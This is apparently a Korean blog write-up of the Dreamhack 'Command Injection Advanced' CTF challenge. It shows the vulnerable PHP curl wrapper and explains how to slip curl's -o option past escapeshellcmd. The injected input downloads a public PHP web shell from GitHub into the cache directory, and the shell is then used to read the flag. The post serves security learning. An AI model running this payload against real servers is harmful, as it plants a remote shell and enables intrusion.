본문 바로가기

웹해킹

드림핵 Command Injection Advanced 롸업

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

url 파라미터에 입력값을 받고, http 문자열로 시작하는지 검사한다.

http 문자열이 포함되어 있다면 shell_exec 함수를 통해 curl 명령어를 실행한다.

url 파라미터 값이 인자로 전달되는데 escapeshellcmd 함수 때문에 셸 메타 문자를 사용할 수 없다.

 

curl 명령어의 -o옵션을 사용하면 파일을 생성할 수 있다.

 

cache 디렉터리에 쓰기 권한이 있기 때문에 cache 디렉터리에 파일을 생성하고 접속해볼 수 있다.

우선 -h 옵션으로 옵션 삽입이 가능한지 확인해볼 수 있다.

http문자열로 시작해야 하기 때문에 httptest -h 를 입력하면

이렇게 정상적으로 작동한다.

이제 -o 옵션으로 웹 셸 코드를 cache 디렉터리 안에 올려야 한다.

우선 파일을 생성하기 위해 http://localhost/ -o /var/www/html/cache/test 를 입력한다.

 

이제 웹 셸을 업로드하기 위해 Github에 공개된 웹 셸 링크를 이용할 것이다.

https://github.com/WhiteWinterWolf/wwwolf-php-webshell

이 링크에 접속해보면 웹 셸 코드가 있다.

https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php

이제 웹 셸을 cache 디렉터리에 업로드해준다.

그리고 /cache/exploit.php에 접속해보면 셸이 있다.

cmd에 실행하고 싶은 명령어를 넣으면 된다.

/flag를 입력하면 flag가 읽혀져서 보인다.

'웹해킹' 카테고리의 다른 글

드림핵 Apache htaccess 롸업  (0) 2023.12.03
File Vulnerability Advanced  (0) 2023.12.03
Command Injection Advanced  (0) 2023.12.03
드림핵 phpMyRedis 롸업  (0) 2023.12.03
드림핵 NoSQL-CouchDB 롸업  (0) 2023.12.03